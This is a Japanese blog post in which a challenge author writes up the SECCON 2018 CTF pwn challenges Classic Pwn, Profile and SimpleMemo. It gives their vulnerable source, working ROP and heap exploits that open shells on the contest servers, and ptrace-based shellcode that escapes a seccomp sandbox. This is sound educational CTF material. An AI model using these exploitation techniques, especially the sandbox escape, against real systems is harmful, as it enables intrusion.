つれづれなる備忘録

CTF関連の事やその他諸々

SECCON 2018 Online 作問(Classic Pwn, Profile, SimpleMemo)

大会から1週間遅れての公開です.
旬を過ぎて需要も無くなったであろう頃合いですが,まぁ備忘録ということで軽く書いていきます.

今回は Classic Pwn, Profile, SimpleMemo の3問を作問しました.
それぞれ初心者,中堅,プロ向けの問題です.
解いたチーム数も想定の通りで,良い感じに出題できたと思っています.


Classic Pwn (Exploit 121, 197 solves)

Host: classic.pwn.seccon.jp
Port: 17354
classic_aa9e979fd5c597526ef30c003bffee474b314e22

ソースコード

// gcc -fno-stack-protector classic.c -o classic
#include <stdio.h>

#define BUF_SIZE 64

char *gets(char *s);

__attribute__((constructor))
int init(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    return 0;
}

int main(void){
    char local[BUF_SIZE];

    puts("Classic Pwnable Challenge");

    printf("Local Buffer >> ");
    gets(local);

    puts("Have a nice pwn!!");

    return 0;
}

解説 および 解法

gets関数でスタックオーバーフローが起きるのでROPを組むだけの問題です.

まずは puts関数を利用して GOT から libc のアドレスをリークさせます.
ret2main で再び ROP に持ち込んで,system関数を呼び出せばおしまいです.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './classic'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'classic.pwn.seccon.jp', 'port':17354})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.23.so')
env.select()

#==========

binf = ELF(bin_file)
addr_got_main       = binf.got['__libc_start_main']
addr_main           = binf.sep_function['main']

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_main        = libc.sep_function['__libc_start_main']

#==========

def attack(conn):
    rop = ROP(binf)
    rop.puts(addr_got_main)
    rop.call(addr_main)

    exploit = 'a'*0x48
    exploit += str(rop)

    conn.sendlineafter('>> ', exploit)
    conn.recvuntil('pwn!!\n')

    addr_libc_main = u(conn.recvuntil('\n', drop=True))
    libc.address = addr_libc_main - offset_libc_main
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_str_sh    = next(libc.search('/bin/sh'))

    rop = ROP(libc)
    rop.system(addr_libc_str_sh)

    exploit = 'a'*0x48
    exploit += str(rop)

    conn.sendlineafter('>> ', exploit)

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

実行結果

$ ./exploit_classic.py                                                                                                                                                       
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/2018/classic_pwn/classic'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 59.106.215.241 on port 17354: Done
[*] Loaded cached gadgets for './classic'
[*] addr_libc_base    = 0x7fee6bfdb000
[*] Loaded cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Switching to interactive mode
Have a nice pwn!!
$ ls -al
total 36
drwxr-x--- 2 root classic 4096 Oct 23 02:37 .
drwxr-xr-x 6 root root    4096 Oct 23 02:37 ..
-rw-r----- 1 root classic  220 Sep  1  2015 .bash_logout
-rw-r----- 1 root classic 3771 Sep  1  2015 .bashrc
-rw-r----- 1 root classic  655 May 16  2017 .profile
-rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic
-rw-r----- 1 root classic   44 Oct 23 02:37 flag.txt
$ cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

Profile (Exploit 255, 64 solves)

Host: profile.pwn.seccon.jp
Port: 28553
profile_e814c1a78e80ed250c17e94585224b3f3be9d383

ソースコード

#include <iostream>
#include <iomanip>
#include <unistd.h>
#include <stdio.h>
#include <malloc.h>

using namespace std;

int getn(char *buf, unsigned size);

class Profile {
    private:
        string msg;
        string name;
        int age;

    public:
        Profile(){
            name = "";
            age = 0;
            msg = "";
        };

        void set_name(string n){ name = n; };
        void set_age(int a){ age = a; };
        void set_msg(string m){ msg = m; };

        void update_msg(void);
        void show(void);
};

void Profile::update_msg(void){
    char *buf;
    size_t size;

    buf = (char*)msg.c_str();
    if(!(size = malloc_usable_size(buf))){
        cout << "Unable to update message." << endl;
        return;
    }

    cout << "Input new message >> ";
    getn(buf, size);
}

void Profile::show(void){
    cout << "Name : " << name << endl;
    cout << "Age  : " << age << endl;
    cout << "Msg  : " << msg << endl;
}

__attribute__((constructor))
void init(void){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}

int main(void){
    Profile p;

    string s;
    int n;

    cout << "Please introduce yourself!" << endl;
    cout << "Name >> ";
    cin >> s;
    p.set_name(s);

    cout << "Age >> ";
    cin >> n;
    p.set_age(n);

    cout << "Message >> ";
    cin >> s;
    p.set_msg(s);

    do {
        cout << endl
             << "1 : update message" << endl
             << "2 : show profile" << endl
             << "0 : exit" << endl
             << ">> ";
        cin >> n;
        getchar();
        switch(n){
            case 1:
                p.update_msg();
                break;
            case 2:
                p.show();
                break;
            default:
                cout << "Wrong input..." << endl;
        }
    } while(n);
}

int getn(char *buf, unsigned size){
    char c;
    unsigned i;

    for(i=0; i<size; i++){
        read(STDIN_FILENO, &c, 1);
        if(!(c^'\n'))
            break;
        buf[i] = c;
    }

    return i;
}

解説 および 解法

名前とメッセージを入力するサービスです.
機能としては,メッセージの更新とプロフィールの表示が可能です.

update_msg関数では,メッセージの更新に際してなぜか malloc_usable_size 関数を利用してヒープの使用可能なサイズを取得しています.
しかし,string は文字列が短い場合(0xf文字以下でしたっけ?)は,局所変数であればスタックに確保された領域に書き込まれます.
この場合, malloc_usable_size 関数は失敗し負数を返します.
この負数を unsigned の size として扱うことで,スタックオーバーフローを引き起こすことが可能になります.

あとは,canary と libc のリークを行って ROP に持ち込みましょう.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py
import re

bin_file = './profile'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file], 'aslr':False}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'profile.pwn.seccon.jp', 'port':28553})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.23.so')
env.select()

#==========

binf = ELF(bin_file)

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_main    = libc.sep_function['__libc_start_main']

#==========

def attack(conn):
    prof = Profile(conn, 'a'*8, 0, 'x')

    for i in range(0, 0x100, 8):
        prof.update('X'*0x10+chr(i))
        if prof.show()['Name'] == 'a'*8:
            x = i-0x10

    prof.update('X'*0x10+chr(x))
    addr_stack = u(prof.show()['Name'])
    info('addr_stack        = 0x{:08x}'.format(addr_stack))

    prof.update('X'*0x10+p64(addr_stack+0x28))
    canary = u(prof.show()['Name'])
    info('canary            = 0x{:08x}'.format(canary))

    prof.update('X'*0x10+p64(addr_stack+0x48))
    addr_libc_main = u(prof.show()['Name']) - 0xf0
    libc.address = addr_libc_main - offset_libc_main
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_system    = libc.sep_function['system']
    addr_libc_str_sh    = next(libc.search('/bin/sh'))

    rop = ROP(binf)

    exploit  = 'X'*0x10
    exploit += p64(addr_stack + 0x10)
    exploit += 'Y'*0x20
    exploit += p64(canary)
    exploit += 'Z'*0x18
    exploit += p64(rop.rdi.address)
    exploit += p64(addr_libc_str_sh)
    exploit += p64(addr_libc_system)
    prof.update(exploit)

    conn.sendlineafter('>> ', '0')
    
class Profile:
    def __init__(self, conn, name, age, msg):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

        self.sendlineafter('Name >> ', name)
        self.sendlineafter('Age >> ', str(age))
        self.sendlineafter('Message >> ', msg)

    def update(self, msg):
        self.sendlineafter('>> ', '1')
        self.sendlineafter('message >> ', msg)

    def show(self):
        self.sendlineafter('>> ', '2')
        data = self.recvuntil('\n\n', drop=True)
        data = re.findall(r'(.*) : (.*)', data)
        return dict(data)

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========

実行結果

$ ./exploit_profile.py                                                                                                                                                           
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/2018/profile/profile'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 59.106.215.241 on port 28553: Done
[*] addr_stack        = 0x7fff71e66f30
[*] canary            = 0xa3ef9bd941bdb300
[*] addr_libc_base    = 0x7f0c0e597000
[*] Loaded cached gadgets for './profile'
[*] Switching to interactive mode
Wrong input...
$ ls -al
total 40
drwxr-x--- 2 root profile  4096 Oct 23 02:37 .
drwxr-xr-x 6 root root     4096 Oct 23 02:37 ..
-rw-r----- 1 root profile   220 Sep  1  2015 .bash_logout
-rw-r----- 1 root profile  3771 Sep  1  2015 .bashrc
-rw-r----- 1 root profile   655 May 16  2017 .profile
-rw-r----- 1 root profile    41 Oct 23 02:37 flag.txt
-rwxr-x--- 1 root profile 15576 Oct 23 02:37 profile
$ cat flag.txt
SECCON{57r1ng_l0c4710n_15_n07_0nly_h34p}

SimpleMemo (Exploit 494, 2 solves)

Host: smemo.pwn.seccon.jp
Port: 36384
memo_ba2e54eda5aca5ca5c187a3e0603d4ce623aee62

ソースコード

// gcc memo.c -Wl,-z,norelro -fPIE -pie -o memo
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>


#include <stddef.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>

#define BUF_SIZE   128
#define MEMO_SIZE  0x28
#define MEMOS      0x10

static int set_seccomp(void);
static int menu(void);
static void add(char **memo);
static void show(char **memo);
static void delete(char **memo);

static int getnline(char *buf, int len);
static int getint(void);

__attribute__((constructor))
int init(){
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    set_seccomp();
    return 0;
}

static int set_seccomp(void){
    struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))),

        BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, __X32_SYSCALL_BIT, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 1, 0),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    };

    struct sock_fprog prog = {
        .len = (unsigned short) (sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };

    if(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
        perror("prctl PR_SET_NO_NEW_PRIVS");
        return -1;
    }

    if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)){
        perror("prctl PR_SET_SECCOMP");
        return -1;
    }

    return 0;
}

int main(void){
    char *memo[MEMOS] = {};

    puts("<<<< simple memo service >>>>");

    for(;;){
        switch(menu()){
            case 1:
                add(memo);
                break;
            case 2:
                show(memo);
                break;
            case 3:
                delete(memo);
                break;
            case 0:
                goto end;
            default:
                puts("Wrong input.");
        }
    }

end:
    puts("Bye!");

    return 0;
}

static int menu(void){
    printf( "\nMENU\n"
            "1. Add\n"
            "2. Show\n"
            "3. Remove\n"
            "0. Exit\n"
            "> ");

    return getint();
}

static void add(char **memo){
    int id;

    for(id = 0; id < MEMOS; id++)
        if(!memo[id])
            break;

    if(id >= MEMOS){
        puts("Entry is FULL...");
        return;
    }

    memo[id] = (char*)calloc(MEMO_SIZE, 1);

    printf("Input memo > ");
    getnline(memo[id], MEMO_SIZE);

    printf("Added id:%02d\n", id);
}

static void show(char **memo){
    int id, n;

    printf("Input id > ");
    id = getint();

    if(!memo[id]){
        puts("Entry does not exist...");
        return;
    }

    printf("Show id:%02d\n%s\n", id, memo[id]);
}

static void delete(char **memo){
    int id;

    printf("Input id > ");
    id = getint();

    if(!memo[id]){
        puts("Entry does not exist...");
        return;
    }

    free(memo[id]);
    memo[id] = NULL;

    printf("Deleted id:%02d\n", id);
}

static int getnline(char *buf, int size){
    char *lf;

    if(size < 0)
        return 0;

    fgets(buf, size, stdin);
    if((lf=strchr(buf,'\n')))
        *lf='\0';

    return 1;
}

static int getint(void){
    char buf[BUF_SIZE];

    getnline(buf, sizeof(buf));
    return atoi(buf);
}

解説 および 解法

seccomp escape 問題です.

脆弱性としては,show, delete関数で配列外参照が可能になっています.
これによって,スタックを掘って バイナリ本体やlibc,スタックやヒープのアドレスが容易に特定が可能,かつ任意のアドレスに対してfreeを行うことが可能になります.
あと,getnline関数が non-NULL 終端です.
良い感じにごにょってシェルコード実行まで持ち込みましょう.

本題はここからです.
この問題では,seccomp によってopen系が落とされています.
これでは flag.txt を開くことができません.

seccomp の sock_filter を再掲します.

 struct sock_filter filter[] = {
        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

        BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))),

        BPF_JUMP(BPF_JMP | BPF_JGE | BPF_K, __X32_SYSCALL_BIT, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 1, 0),
        BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1),
        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),

        BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
    };

これより,ブラックリスト方式でシステムコールを落としていることがわかります.
制限がかかっているのは open と openat,また,制限回避によくありがちな x86 arch (32bit mode) や x32 ABI も禁止されています.

さてどうしようかと seccomp のマニュアルを読んでいると,こんな記述が存在します.

          Before kernel 4.8, the seccomp check will not be run again
          after the tracer is notified.  (This means that, on older ker‐
          nels, seccomp-based sandboxes must not allow use of
          ptrace(2)—even of other sandboxed processes—without extreme
          care; ptracers can use this mechanism to escape from the sec‐
          comp sandbox.)

動作しているOSは配布している libc から Ubuntu 16.04 であることは分かると思います.
カーネルは,4.4とかそこらへんなので,4.8未満です.

この記述に則って,ptraceを利用して制限回避を行います.
まずはシェルコードで fork, ptraceを利用して tracee, tracer に分かれます.
traceeが制限されてない適当なシステムコールを発行したら,tracerで捕まえて orig_rax を SYS_open に書き換えてあげます.
すると,openが発行されてしまうという寸法です.

Exploit

#!/usr/bin/env python
from sc_expwn import *  # https://raw.githubusercontent.com/shift-crops/sc_expwn/master/sc_expwn.py

bin_file = './memo'
context(os = 'linux', arch = 'amd64')
# context.log_level = 'debug'

#==========

env = Environment('debug', 'local', 'remote')
env.set_item('mode',    debug = 'DEBUG', local = 'PROC', remote = 'SOCKET')
env.set_item('target',  debug   = {'argv':[bin_file]}, \
                        local   = {'argv':[bin_file]}, \
                        remote  = {'host':'smemo.pwn.seccon.jp', 'port':36384})
env.set_item('libc',    debug   = None, \
                        local   = None, \
                        remote  = 'libc-2.23.so')
env.select()

#==========

binf = ELF(bin_file)
offset_csu_init     = binf.sep_function['__libc_csu_init']
offset_got_main     = binf.got['__libc_start_main']

libc = ELF(env.libc) if env.libc else binf.libc
offset_libc_main        = libc.sep_function['__libc_start_main']

addr_shellcode      = 0x100000

#==========

def attack(conn):
    memo = Memo(conn)

    memo.add(p64(0)+p64(0x31))
    memo.add(p64(0)+p64(0x31))

    addr_csu_init = u(memo.show(-2))
    binf.address = addr_csu_init - offset_csu_init
    info('addr_binf_base    = 0x{:08x}'.format(binf.address))
    addr_got_main   = binf.address + offset_got_main
    addr_bss        = binf.sep_section['.bss']
    addr_buf        = addr_bss + 0x30

    addr_stack = u(memo.show(-4)) - 0x90
    info('addr_stack        = 0x{:08x}'.format(addr_stack))

    addr_heap_base = u(memo.show(-5)) - 0x1020
    info('addr_heap_base    = 0x{:08x}'.format(addr_heap_base))

    addr_libc_main = u(memo.show(-21, p64(addr_got_main)))
    libc.address = addr_libc_main - offset_libc_main
    info('addr_libc_base    = 0x{:08x}'.format(libc.address))
    addr_libc_setcontext    = libc.sep_function['setcontext']

    rop = ROP(binf)
    exploit1  = p64(addr_heap_base+0x1078)
    exploit1 += p64(rop.leave.address)
    addr_r14_r15  = rop.r14_r15.address

    rop = ROP(libc)
    rop.read(constants.STDIN_FILENO, addr_heap_base + 0x10c8, 0x100)
    exploit2 = str(rop)
    memo.add(exploit2[:0x18]+p64(addr_r14_r15)+p64(0xdeadbeef)[:-1])
    memo.add(exploit2[0x18:])

    memo.delete(-21, p64(addr_heap_base + 0x1030))
    memo.delete(0)
    memo.add(p64(0)+p64(0x31)+p64(addr_stack - 0x78))

    memo.add('')
    memo.add(p64(addr_heap_base)+'a'*0x10 + exploit1, p64(0xdeadbeef)*7+p64(0x33))

    #==========

    shellcode = open('exploit.bin', 'rb').read()

    context  = p(-1)                                                                    # r8
    context += p64(0)                                                                   # r9
    context  = context.ljust(0x68-0x28)
    context += p64(addr_shellcode)                                                      # rdi
    context += p64((len(shellcode)+(0x1000-1)) & ~(0x1000-1))                           # rsi
    context  = context.ljust(0x88-0x28)
    context += p64(constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC)    # rdx
    context += p64(0xdeadbeef)
    context += p64(constants.MAP_PRIVATE | constants.MAP_ANONYMOUS)                     # rcx

    rop = ROP(libc)
    rop.read(constants.STDIN_FILENO, addr_buf, len(context))
    rop.call(addr_libc_setcontext+0x5f, [addr_buf-0x28])
    rop.mmap()
    rop.read(constants.STDIN_FILENO, addr_shellcode, len(shellcode))
    rop.call(addr_shellcode)

    conn.send(str(rop))
    sleep(0.1)
    conn.send(context)
    sleep(0.1)
    conn.send(shellcode)

class Memo:
    def __init__(self, conn):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

    def add(self, data, append=''):
        self.sendlineafter('> ', '1'.ljust(8)+append)
        if len(data)>=0x27:
            self.sendafter('memo > ', data)
        else:
            self.sendlineafter('memo > ', data)

    def show(self, idx, append=''):
        self.sendlineafter('> ', '2'.ljust(8)+append)
        self.sendlineafter('id > ', str(idx))
        self.recvuntil('\n')
        return self.recvuntil('\n\n', drop=True)

    def delete(self, idx, append=''):
        self.sendlineafter('> ', '3'.ljust(8)+append)
        self.sendlineafter('id > ', str(idx))

#==========

if __name__=='__main__':
    conn = communicate(env.mode, **env.target)
    attack(conn)
    conn.interactive()
    
#==========
// gcc -fomit-frame-pointer -fno-stack-protector -nostdlib -fPIE -masm=intel -c exploit.c && ld --oformat=binary exploit.o -o exploit.bin
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <sys/syscall.h>

#define SYS_alt_open 0xdead

static void tracer(pid_t pid);
static int tracee(void);

int _open(const char *pathname, int flags);
long _ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

void main(void){
    pid_t pid;

    switch(pid = fork()){
        case 0:
            tracee();
            break;
        case -1:
            exit(-1);
        default:
            tracer(pid);
            break;
    }

    exit(0);
}

static void tracer(pid_t pid){
    int status;

    waitpid(pid, &status, 0);
    if(WIFEXITED(status) || WIFSIGNALED(status))
        return;

    for(;;){
        struct user_regs_struct regs;

        _ptrace(PTRACE_SYSCALL, pid, NULL, 0);
        waitpid(pid, &status, 0);
        if(!(WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP))
            break;

        if(_ptrace(PTRACE_GETREGS, pid, NULL, &regs))
            break;
        if(regs.orig_rax == SYS_alt_open){
            regs.orig_rax = SYS_open;
            _ptrace(PTRACE_SETREGS, pid, NULL, &regs);
        }
    }
}

static int tracee(void){
    int fd, n;
    char buf[512];

    if(_ptrace(PTRACE_TRACEME, 0, NULL, NULL) == -1)
        return -1;
    kill(getpid(), SIGSTOP);

    if((fd = _open("flag.txt", O_RDONLY)) == -1)
        return -1;
    n = read(fd, buf, sizeof(buf));
    write(STDOUT_FILENO, buf, n);

    return n;
}

int _open(const char *pathname, int flags){
    asm volatile ("syscall" :: "a"(SYS_alt_open));
}

ssize_t read(int fd, void *buf, size_t count){
    asm volatile ("syscall" :: "a"(SYS_read));
}

ssize_t write(int fd, const void *buf, size_t count){
    asm volatile ("syscall" :: "a"(SYS_write));
}

pid_t getpid(void){
    asm volatile ("syscall" :: "a"(SYS_getpid));
}

pid_t fork(void){
    asm volatile ("syscall" :: "a"(SYS_fork));
}

void exit(int status){
    asm volatile ("syscall" :: "a"(SYS_exit));
}

pid_t waitpid(pid_t pid, int *status, int options){
    asm volatile ("mov r10, 0\r\nsyscall" :: "a"(SYS_wait4));
}

int kill(pid_t pid, int sig){
    asm volatile ("syscall" :: "a"(SYS_kill));
}

long _ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data){
    asm volatile ("mov r10, rcx\r\nsyscall" :: "a"(SYS_ptrace));
}

実行結果

$ gcc -fomit-frame-pointer -fno-stack-protector -nostdlib -fPIE -masm=intel -c exploit.c && ld --oformat=binary exploit.o -o exploit.bin                                     
/usr/include/stdlib.h: In function ‘exit’:
exploit.c:99:1: warning: ‘noreturn’ function does return
 }
 ^
ld: 警告: エントリシンボル _start が見つかりません。デフォルトとして 0000000000400000 を使用します
$ ./exploit_simple_memo.py                                                                                                                                                   
Select Environment
['debug', 'remote', 'local'] ...r
[*] Environment : set environment "remote"
[*] '/home/yutaro/CTF/SECCON/2018/simple_memo/memo'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 59.106.215.241 on port 36384: Done
[*] addr_binf_base    = 0x55df61eb8000
[*] addr_stack        = 0x7ffe12fc5d60
[*] addr_heap_base    = 0x55df63b42000
[*] addr_libc_base    = 0x7f6036349000
[*] Loading gadgets for '/home/yutaro/CTF/SECCON/2018/simple_memo/memo'
[*] Loaded cached gadgets for '/lib/x86_64-linux-gnu/libc.so.6'
[*] Switching to interactive mode
SECCON{bl4ck_l157_SECCOMP_h45_l075_0f_l00ph0l35}
[*] Got EOF while reading in interactive